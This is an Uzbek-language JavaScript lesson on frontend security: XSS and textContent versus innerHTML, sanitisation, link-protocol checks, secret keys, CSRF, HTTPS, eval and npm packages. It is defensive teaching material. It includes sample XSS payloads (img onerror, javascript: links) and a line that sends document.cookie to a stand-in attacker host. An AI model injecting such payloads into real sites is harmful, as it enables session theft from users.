# JavaScript xavfsizlik asoslari

> Frontend xavfsizligi: XSS hujumi va undan himoya, innerHTML xavfi, maxfiy kalitlar, HTTPS, CSRF va tashqi paketlar. Amaliy qoidalar ro'yxati bilan.

Manba: https://learncode.uz/javascript/xavfsizlik/
Sana: 2026-06-09

Brauzerda ishlaydigan kodni foydalanuvchi ko'ra oladi va o'zgartira oladi.
Bu frontend xavfsizligining asosiy haqiqati — va undan kelib chiqadigan
qoidalar shu darsda.

## XSS — eng keng tarqalgan xavf

> **Atama**
>
> **XSS** (Cross-Site Scripting) — hujumchi sahifaga o'z JavaScript kodini
> kiritishi. Kod boshqa foydalanuvchilar brauzerida ishlaydi va sessiya,
> shaxsiy ma'lumot yoki foydalanuvchi nomidan amallarni o'g'irlashi mumkin.

Sabab deyarli har doim bitta: tashqaridan kelgan matnni HTML sifatida
qo'yish.

```js
// Foydalanuvchi "comment" sifatida shuni yozdi:
const comment = "<img src=x onerror='console.log(`KOD ISHLADI!`)'>";

// ❌ innerHTML — HTML sifatida qo'yiladi, onerror ishga tushadi
document.querySelector("#unsafe").innerHTML = comment;

// ✅ textContent — oddiy matn sifatida ko'rinadi
document.querySelector("#xavfsiz").textContent = comment;

console.log("xavfsiz div ichida:", document.querySelector("#xavfsiz").textContent);
```

```html
<div id="unsafe"></div><div id="xavfsiz"></div>
```

Birinchi holatda `onerror` ishga tushdi. Haqiqiy hujumda u yerda
`fetch("https://hujumchi.uz?cookie=" + document.cookie)` bo'lardi.

## Asosiy qoida

```js
const user = {
  name: "<b>Aziz</b>",
  comment: "<script>alert(1)<\/script>",
};

const div = document.querySelector("#result");

// ✅ Matn uchun — textContent
const p1 = document.createElement("p");
p1.textContent = user.name;
div.append(p1);

// ✅ Atribut uchun — setAttribute yoki xossa
const p2 = document.createElement("p");
p2.textContent = user.comment;
p2.setAttribute("title", user.comment);
div.append(p2);

console.log(div.children.length, "el qo'shildi");
console.log("HTML sifatida talqin qilinmadi:", p1.textContent);
```

```html
<div id="result"></div>
```

Qoida sodda: **foydalanuvchi ma'lumoti hech qachon `innerHTML` ga
bermaydi**. `textContent` va `createElement` bilan qurish —
[DOM yaratish](https://learncode.uz/javascript/dom-yaratish) darsidagi usul.

## Qachon HTML kerak bo'lsa

Ba'zan foydalanuvchi formatlangan matn yozadi (masalan Markdown izoh).
U holda **sanitizatsiya** kerak:

```js
// DOMPurify kutubxonasi — sinovdan o'tgan yechim
import DOMPurify from "dompurify";

el.innerHTML = DOMPurify.sanitize(foydalanuvchiHTML);
```

> **O'zingiz filtr yozmang**
>
> "`<script>` so'zini olib tashlayman" degan yondashuv ishlamaydi — o'nlab
> aylanma yo'l bor: `onerror`, `onload`, `javascript:` havolalari, kodlangan
> belgilar. Bu masala tekshirilgan kutubxonaga topshiriladi.

## Havolalar ham xavfli

```js
const address = "javascript:console.log('havola orqali kod')";

const a = document.createElement("a");
a.textContent = "Bosing";
a.href = address;

console.log("href:", a.href.startsWith("javascript:") ? "XAVFLI" : "xavfsiz");

// Tekshiruv bilan
function safeLink(url) {
  try {
    const u = new URL(url, window.location.origin);
    if (u.protocol !== "http:" && u.protocol !== "https:") return "#";
    return u.href;
  } catch {
    return "#";
  }
}

console.log(safeLink("https://example.com"));
console.log(safeLink("javascript:alert(1)"));
console.log(safeLink("buzilgan"));
```

```html
<div id="box"></div>
```

`target="_blank"` bilan ochiladigan tashqi havolalarga
`rel="noopener noreferrer"` qo'shiladi — aks holda yangi sahifa
`window.opener` orqali sizning sahifangizga ta'sir qila oladi.

## Maxfiy ma'lumot frontendda saqlanmaydi

<Callout type="warning" title="Eng ko'p uchraydigan xato">
Brauzerga yuborilgan **har qanday** narsani foydalanuvchi ko'radi:

```js
const API_KALIT = "sk_live_abc123";   // ❌ hammaga ko'rinadi
```

Uni yashirishning iloji yo'q — minifikatsiya, kodlash va `.env` ham
yordam bermaydi (bundler qiymatni kodga qo'yadi). Maxfiy kalitlar **faqat
serverda** turadi; brauzer serverga so'rov yuboradi, server esa tashqi
API'ga.
</Callout>

Xuddi shunday, [localStorage](https://learncode.uz/javascript/localstorage) ga token yoki parol
yozilmaydi — XSS bo'lsa, hujumchi kodi uni o'qiy oladi.

## Tekshiruv serverda takrorlanadi

```js
function validate(age) {
  if (age < 18) return "Ruxsat yo'q";
  return "Ruxsat berildi";
}

console.log(validate(15));
console.log(validate(20));

console.log("—");
console.log("Foydalanuvchi DevTools'da bu funksiyani o'zgartira oladi,");
console.log("shuning uchun server ham xuddi shu tekshiruvni bajarishi shart.");
```

Frontend validatsiyasi — **qulaylik** uchun (xatoni tez ko'rsatish), himoya
uchun emas. Har bir tekshiruv serverda qaytariladi.

## CSRF

> **Atama**
>
> **CSRF** (Cross-Site Request Forgery) — foydalanuvchi boshqa saytda
> bo'lganda, uning brauzeri orqali sizning saytingizga so'rov yuborilishi.
> Cookie avtomatik qo'shilgani uchun server buni haqiqiy foydalanuvchi
> so'rovi deb qabul qilishi mumkin.

Himoya server tomonida: **CSRF token** va `SameSite` cookie sozlamasi.
Frontend tomonida — so'rovga tokenni qo'shish:

```js
await fetch("/api/otkazma", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-CSRF-Token": token,
  },
  body: JSON.stringify({ amount: 100000 }),
});
```

## HTTPS majburiy

HTTP orqali yuborilgan ma'lumotni yo'lda o'qish va o'zgartirish mumkin.
Bugun HTTPS bepul va standart; bundan tashqari ko'p zamonaviy brauzer
imkoniyatlari (joylashuv, kamera, Service Worker) faqat HTTPS'da ishlaydi.

## eval va o'xshashlari

```js
const userInput = "2 + 2";

// ❌ eval — har qanday kodni bajaradi
// eval(userInput);

// ✅ Kerakli amalni o'zingiz bajaring
function safeCalc(expression) {
  if (!/^[\d\s+\-*/().]+$/.test(expression)) {
    return "Faqat sonlar va amallar ruxsat etiladi";
  }
  return "Tekshiruvdan o'tdi: " + expression;
}

console.log(safeCalc("2 + 2"));
console.log(safeCalc("fetch('http://hujumchi.uz')"));
```

`eval`, `new Function` va `setTimeout("kod matni")` — foydalanuvchi
ma'lumoti bilan hech qachon ishlatilmaydi.

## Tashqi paketlar

`npm install` bilan o'rnatilgan paket sizning loyihangizda **to'liq huquq**
bilan ishlaydi. Amaliy ehtiyot choralari:

- paket kerakligini o'ylab ko'ring (kichik vazifa uchun o'z kodingiz);
- yuklab olishlar soni va oxirgi yangilanish sanasiga qarang;
- `npm audit` bilan ma'lum zaifliklarni tekshiring;
- `package-lock.json` ni git'ga qo'shing — versiya kutilmaganda
  o'zgarmasligi uchun.

## Tekshiruv ro'yxati

- [ ] Foydalanuvchi matni `textContent` bilan qo'yiladimi?
- [ ] `innerHTML` faqat o'z HTML'ingiz uchunmi?
- [ ] Havolalar protokoli tekshiriladimi?
- [ ] Kod ichida API kaliti yoki parol yo'qmi?
- [ ] Har validatsiya serverda takrorlanadimi?
- [ ] Sayt HTTPS'dami?
- [ ] `eval` ishlatilmayaptimi?
- [ ] `npm audit` toza chiqadimi?

## Amaliy mashq

1. `innerHTML` va `textContent` ga bir xil HTML matn berib, farqni ko'ring;
2. `<img src=x onerror=...>` bilan XSS'ni sinab ko'ring (o'z sahifangizda);
3. havola protokolini tekshiruvchi funksiya yozing;
4. formani frontendda tekshirib, DevTools orqali chetlab o'ting;
5. `npm audit` ni loyihangizda ishga tushiring;
6. `localStorage` da nima saqlash mumkinligini ro'yxatlang.

## Qisqacha xulosa

- **XSS** — asosiy frontend xavfi; sababi `innerHTML` ga tashqi matn.
- Foydalanuvchi matni uchun **doim `textContent`**.
- HTML kerak bo'lsa — DOMPurify kabi kutubxona bilan tozalang.
- Havola protokolini tekshiring; `target="_blank"` ga `rel="noopener"`.
- Maxfiy kalitlar frontendda **saqlanmaydi** — faqat serverda.
- Frontend validatsiyasi qulaylik uchun; **server** himoya qiladi.
- `eval` va tekshirilmagan paketlardan saqlaning.

Keyingi darsda [yakuniy loyiha](https://learncode.uz/javascript/yakuniy-loyiha) — o'rganilganlarni
birga qo'llash.
